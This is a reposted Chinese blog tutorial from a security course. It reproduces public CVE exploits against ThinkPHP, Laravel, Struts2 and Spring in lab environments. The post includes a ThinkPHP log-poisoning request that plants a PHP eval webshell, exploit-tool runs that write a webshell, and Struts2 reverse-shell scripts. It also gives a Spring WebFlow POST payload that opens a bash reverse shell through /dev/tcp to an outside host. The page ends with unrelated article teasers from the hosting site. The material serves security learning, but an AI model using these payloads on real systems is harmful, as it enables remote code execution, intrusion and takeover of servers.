【小迪安全2023】第62天:服务攻防-框架安全CVE复现SpringStrutsLaravelThinkPHP

news2024/12/29 8:41:35
🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

0x1 大纲

0x2 知识点:

0x3 案例分析

1、PHP-开发框架安全-Thinkphp&Laravel

thinkphp3.2.x 代码执行

ThinkPHP5 5.0.23

laravel-cve_2021_3129

2、JAVAWEB-开发框架安全-Spring&Struts2

strust2 CVE-2020-17530

strust2 CVE_2021_31805

3、spring框架

spring 代码执行 (CVE-2017-4971)


0x1 大纲

0x2 知识点:

中间件及框架列表:

IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery等

1、开发框架-PHP-Laravel-Thinkphp

2、开发框架-Javaweb-St2-Spring

3、开发框架-Python-django-Flask

4、开发框架-Javascript-Node.js-JQuery

常见语言开发框架:
**PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
JAVA:Spring MyBatis Hibernate Struts2 Springboot等
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等
 
#章节内容:
常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用-框架特定安全漏洞
 
#前置知识:
-中间件安全测试流程:
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞
 
#应用服务安全测试流程:见图**
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等
 
#开发框架组件安全测试流程:
1、判断常见语言开发框架类型
2、判断开发框架存在的CVE问题
3、判断开发框架CVE漏洞利用方式
 
什么是框架:
框架是一个别人写好的成品,要实现什么功能就可以调用里面的内置函数来实现这个功能的操作。
 
一个网站的源码应用,比如:实现文件上传功能
1.源码采用框架开发的
完全依赖于框架自身的安全机制,安不安全完全取决于这个框架。
比较简单,方便。
 
2.源码采用原生态开发的
整个的文件上传功能都是自己写的,自己控制,自己过滤。
比较复杂,需要从0开始。

0x3 案例分析

1、PHP-开发框架安全-Thinkphp&Laravel

听课前,先给师傅们分享个非常好用。功能很齐全的一个图形化武器库(武器库太牛了,我都想请它吃饭了)

图形化渗透测试武器库 V6.1 by安全圈小王子:
链接:https://pan.baidu.com/s/1goi2IBZaJwRWe2qCLO37ig?pwd=bxsi
提取码:bxsi

thinkphp3.2.x 代码执行

我们这里直接使用thinkphp漏洞利用1.2版本的工具

靶场环境:Vulfocus 漏洞威胁分析平台

我们访问靶场,然后可以使用wappalyzer插件检测出来是ThinkPHP框架,也可以在网站数据包中找到ThinkPHP关键字

我们直接利用这个工具进行命令执行,然后访问下面的http地址,再右击查看源代码就可以找到flag,也就是命令执行的内容了

如何getshell

请求地址的时候会写入日志文件

http://123.58.224.8:41855//?m=Home&c=Index&a=index&value[_filename]=./<?php eval($_REQUEST['a']);?>

日志文件的地址

http://123.58.224.8:41855//?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/24_05_08.log

可以看到我们的木马文件写入成功了

然后再连接蚁剑即可

手工注入

参考文献:【漏洞通报】ThinkPHP3.2.x RCE漏洞通报

ThinkPHP5 5.0.23

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

靶场环境搭建:

Vulhub - Docker-Compose file for vulnerability environment

先切换到vulhub-master/thinkphp/5.0.23-rce目录下,然后输入:

┌──(root💀kali)-[~/桌面/vulhub-master/thinkphp/5.0.23-rce]
└─# docker-compose up -d

使用工具直接检测出来这个漏洞,然后命令执行

laravel-cve_2021_3129

描述:

Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。

Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

靶场环境:

Vulfocus 漏洞威胁分析平台

插件检测:

漏洞EXP如下:

GitHub - ajisai-babu/CVE-2021-3129-exp: Laravel Debug mode RCE漏洞(CVE-2021-3129)poc / exp

# poc
python CVE-2021-3129.py -u http://xxxxx.com 
[✅]检测到漏洞![🚩]url: http://xxxxx.com [❇️info]PHP版本:7.4.14 网站路径:/var/www/html 服务器地址:172.17.0.2 系统版本:Linux 8e172820ac78 4.4.0-142-generic #168~14.04.1-Ubunt6:28 UTC 2019 x86_64

# exp
python CVE-2021-3129.py -u http://xxxxx.com --exp                     
[✅]检测到漏洞![🚩]url: http://xxxxx.com [❇️info]PHP版本:7.4.14 网站路径:/var/www/html 服务器地址:172.17.0.2 系统版本:Linux 8e172820ac78 4.4.0-142-generic #168~14.04.1-Ubunt6:28 UTC 2019 x86_64 
[OK] 成功写入webshell, 访问地址 http://xxxxx.com/shell.php , 密码 whoami

# proxy
python CVE-2021-3129.py -u http://xxxxx.com/ -p socks5://127.0.0.1:7890
python CVE-2021-3129.py -u http://xxxxx.com/ --exp -p socks5://127.0.0.1:7890

这里直接演示利用这个exp写入webshell,然后getshell操作

2、JAVAWEB-开发框架安全-Spring&Struts2

strust2:是一个基于 MVC 设计模式的 Web 应用框架

靶场环境:

Vulfocus 漏洞威胁分析平台

如何判断用的是strust2,如果后缀是action

20年以前的漏洞都可以直接利用工具利用

用工具直接可以检测出来,然后命令执行成功,成功拿到了flag

strust2 CVE-2020-17530

靶场环境:

Vulfocus 漏洞威胁分析平台

执行脚本如下:

https://github.com/wuzuowei/CVE-2020-17530

┌──(root💀kali)-[~/桌面/CVE-2020-17530-main]
└─# python3 struts2-061-poc.py http://123.58.224.8:54127 "ls /tmp"                                                                                                     3 ?
+------------------------------------------------------------+
+   PoC: python struts2-061-poc.py http://1.1.1.1:8081 id    +
+                VER: Struts 2.0.0-2.5.25                    +
+------------------------------------------------------------+
+               S2-061 RCE && CVE-2020-17530                 +
+------------------------------------------------------------+
flag-{bmh4d63bd20-6555-463f-adff-c412e642d557}
hsperfdata_root

                                                                                                                                                                           
┌──(root💀kali)-[~/桌面/CVE-2020-17530-main]
└─# python2 S2-061-shell.py http://123.58.224.8:54127                                                                                                                  
Please input your listening ip:
10.10.10.128
Please input your listening port:
4444

strust2 CVE_2021_31805

脚本地址:

https://github.com/pyroxenites/s2-062

这里使用docker搭建的环境,开始使用vulfocus.cn上的靶场环境一直执行不了EXP

┌──(root💀kali)-[~/桌面/s2-062-main]
└─# python3 s2-062.py --url http://10.10.10.128:8080 --cmd whoami                                                                                                      
命令回显
root

                                                                                                                                                                           
┌──(root💀kali)-[~/桌面/s2-062-main]
└─# python3 s2-062.py --url http://10.10.10.128:8080 --cmd id                                                                                                         
命令回显
uid=0(root) gid=0(root) groups=0(root)

3、spring框架

spring本身漏洞不多,大部分漏洞都在他的一些分支上

spring 代码执行 (CVE-2017-4971)

漏洞环境:

Vulfocus 漏洞威胁分析平台

漏洞测试参考文档:

Vulhub - Docker-Compose file for vulnerability environment

用官方给的账号密码登录进去

然后访问http://123.58.224.8:17210/hotels/1,预定id为1的 酒店

点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):

再点击确认“Confirm”:

此时抓包,抓到一个POST数据包,我们向其中添加一个字段(也就是反弹shell的POC)

不过这里的csrf值需要修改(这里是你开始抓包默认的,都不一样)

_eventId_confirm=&_csrf=xxxxxxx&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/4444+0>%261")).start()=vulhub

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1661987.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【影片欣赏】【指环王】【魔戒:国王归来 The Lord of the Rings: The Return of the King】

往期魔戒博客见&#xff1a; 【影片欣赏】【指环王】【魔戒&#xff1a;护戒使者 The Lord of the Rings: The Fellowship of the Ring】 【影片欣赏】【指环王】【魔戒&#xff1a;双塔奇谋 The Lord of the Rings: The Two Towers】 2004年发行&#xff0c;Special Extend…

控制情绪是交易成功的根本?大错特错

布雷特斯坦伯格&#xff08;Brett Steenbarger&#xff09;是一位在美国享有盛誉的交易心理学专家&#xff0c;他曾在华尔街的多个顶尖培训中心担任交易员的心理指导。身为心理学教授兼高级交易员的布雷特在交易心理方面要比别人了解得多。而且小编觉得做一个成功的交易员只靠交…

[c++]多态的分析

多态详细解读 多态的概念多态的构成条件 接口继承和实现继承: 多态的原理:动态绑定和静态绑定 多继承中的虚函数表 多态的概念 -通俗的来说&#xff1a;当不同的对象去完成某同一行为时&#xff0c;会产生不同的状态。 多态的构成条件 必须通过基类的指针或者引用调用虚函数1虚…

KMeans,KNN,Mean-shift算法的学习

1.KMeans算法是什么&#xff1f; 在没有标准标签的情况下&#xff0c;以空间的k个节点为中心进行聚类&#xff0c;对最靠近他们的对象进行归类。 2.KMeans公式&#xff1a; 2. 1.关键分为三个部分&#xff1a; 1.一开始会定义n个中心点&#xff0c;然后计算各数据点与中心点…

重装前端整体流程

用户管理 --汇总 -- 明细-CSDN博客 一、node 这个看环境变量 2023最新版Node.js下载安装及环境配置教程&#xff08;非常详细&#xff09;从零基础入门到精通&#xff0c;看完这一篇就够了_nodejs安装及环境配置-CSDN博客 配置到国内镜像的时候&#xff0c;去看&#xff0c;淘…

05.线程

进程有哪些缺陷&#xff1f; 1.创建的代价较高 进程是OS进行资源分配的基本单位&#xff0c;也就是说创建进程是需要分配资源的&#xff0c;所以创建代价很高 2.通信不方便 进程之间要想进行通信必须借助第三方资源&#xff08;管道、内存映射、消息队列&#xff09; 线程的优…

在线教程|二次元的福音!一键部署APISR,动漫画质飞跃升级

从守护城市安全的「火眼金睛」&#xff0c;到探索人体奥秘的医学之窗&#xff0c;再到娱乐产业的视觉盛宴&#xff0c;乃至遥望宇宙的卫星视角&#xff0c;超分辨率技术重塑着我们观察世界的新维度&#xff0c;让每一寸画面绽放前所未有的清晰与真实。 近年来&#xff0c;越来…

【C++】C++中的template模板

一、泛型编程 关于模板的出现其实是在广大程序员编程中偷懒省下来的。我举个例子你们就知道了。 下述例子是用来实现swap函数的&#xff0c;利用的方式是最基础的重载。 void Swap(int& left, int& right) {int temp left;left right;right temp; } void Swap(d…

【Linux操作系统】:文件操作

目录 前言 一、C语言中文件IO操作 1.文件的打开方式 2.fopen&#xff1a;打开文件 3.fread&#xff1a;读文件 4.fwrite:写文件 二、系统文件I/O 1.系统调用open、read、write 2.文件描述符fd 3.文件描述符的分配规则 4.重定向 5.缓冲区 6.理解文件系统 磁盘 磁盘…

掌握这几点,稳稳拿下中质协六西格玛考试!

在当今竞争激烈的市场环境中&#xff0c;拥有六西格玛证书无疑是提升自身职业竞争力的一大利器。中质协作为权威机构&#xff0c;其六西格玛考试更是备受关注。那么&#xff0c;如何才能稳稳拿下这场考试呢&#xff1f;深圳天行健六西格玛管理培训公司有建议如下&#xff1a; 一…

【计算机毕业设计】springboot国风彩妆网站

二十一世纪我们的社会进入了信息时代&#xff0c; 信息管理系统的建立&#xff0c;大大提高了人们信息化水平。传统的管理方式对时间、地点的限制太多&#xff0c;而在线管理系统刚好能满足这些需求&#xff0c;在线管理系统突破了传统管理方式的局限性。于是本文针对这一需求设…

影刀进行shopee商品排名零代码爬取

需要研究shopee平台的排名更新时间段和周期&#xff0c;几分钟用影刀写了一个爬取应用&#xff0c;每10分钟进行一次排名爬取&#xff08;以fan‘风扇’为例&#xff09;&#xff0c;0代码爬取。 打开’fan’关键词搜索网页&#xff1b;等待网页加载&#xff1b;滚动进一步加载…

计算机服务器中了devicdata勒索病毒如何解密,devicdata勒索病毒解密恢复工具

在网络技术飞速发展的时代&#xff0c;有效地利用网络开展各项工作业务&#xff0c;能够大大提升企业的生产运行效率&#xff0c;改善企业的发展运营模式&#xff0c;但如果网络利用不好就会给企业的数据安全带来严重威胁。近日&#xff0c;云天数据恢复中心接到很多企业的求助…

复制粘贴插件——clipboard.js的使用

clipboard.js是一款使用简单的粘贴复制插件,它不依赖于Flash或其他框架&#xff0c;在github拥有3万多颗星可见其优秀程度&#xff0c;介绍如何使用它&#xff0c;以备存。 中文文档&#xff1a; clipboard.js 中文文档 - itxst.com 官网网站&#xff1a;https://github.com/…

【C++】 类的6个默认成员函数

目录 1. 类的6个默认成员函数 一.构造函数 1.基本概念 2 特性 注意&#xff1a;C11 中针对内置类型成员不初始化的缺陷&#xff0c;又打了补丁&#xff0c; 3.构造函数详解 3.1构造函数体赋值 3.2 初始化列表 3.3 explicit关键字 二.析构函数 1 概念 2 特性 两个栈实…

安装vmware station记录

想学一下linux,花了3个多小时&#xff0c;才配置好了&#xff0c;记录一下 安装vm12,已配置linux系统 报错&#xff0c;VMware Workstation 与 Device/Credential Guard 不兼容解决方案&#xff0c;网上说有不成功的&#xff0c;电脑蓝屏&#xff0c;选择装vm16试试 vm16 在…

多个.C文件被编译为一个可执行文件的详细过程

多个.C文件被编译为一个可执行文件的详细过程 文章目录 多个.C文件被编译为一个可执行文件的详细过程前言一、一个.C文件的编译过程二、多个.C文件的链接过程1.文件信息2.链接过程3.makefile 总结 前言 C语言经典的 “hello world ” 程序从编写、编译到运行&#xff0c;看到屏…

electron-vite工具打包后通过内置配置文件动态修改接口地址实现方法

系列文章目录 electronvitevue3 快速入门教程 文章目录 系列文章目录前言一、实现过程二、代码演示1.resources/env.json2.App.vue3.main/index.js4.request.js5.安装后修改 前言 使用electron-vite 工具开发项目打包完后每次要改接口地址都要重新打包&#xff0c;对于多环境…

揭秘Ping32如何实现上网行为监控

企业上网行为管理软件在现代企业管理中扮演着举足轻重的角色。它不仅能够监控和记录员工的上网行为&#xff0c;还能有效防止数据泄露和不当使用&#xff0c;从而保障企业的信息安全。 一、Ping32上网监控软件的具体功能包括&#xff1a; 1.网页浏览监控&#xff1a;对Chrome…

[C++核心编程-06]----C++类和对象之对象模型和this指针

&#x1f3a9; 欢迎来到技术探索的奇幻世界&#x1f468;‍&#x1f4bb; &#x1f4dc; 个人主页&#xff1a;一伦明悦-CSDN博客 ✍&#x1f3fb; 作者简介&#xff1a; C软件开发、Python机器学习爱好者 &#x1f5e3;️ 互动与支持&#xff1a;&#x1f4ac;评论 &…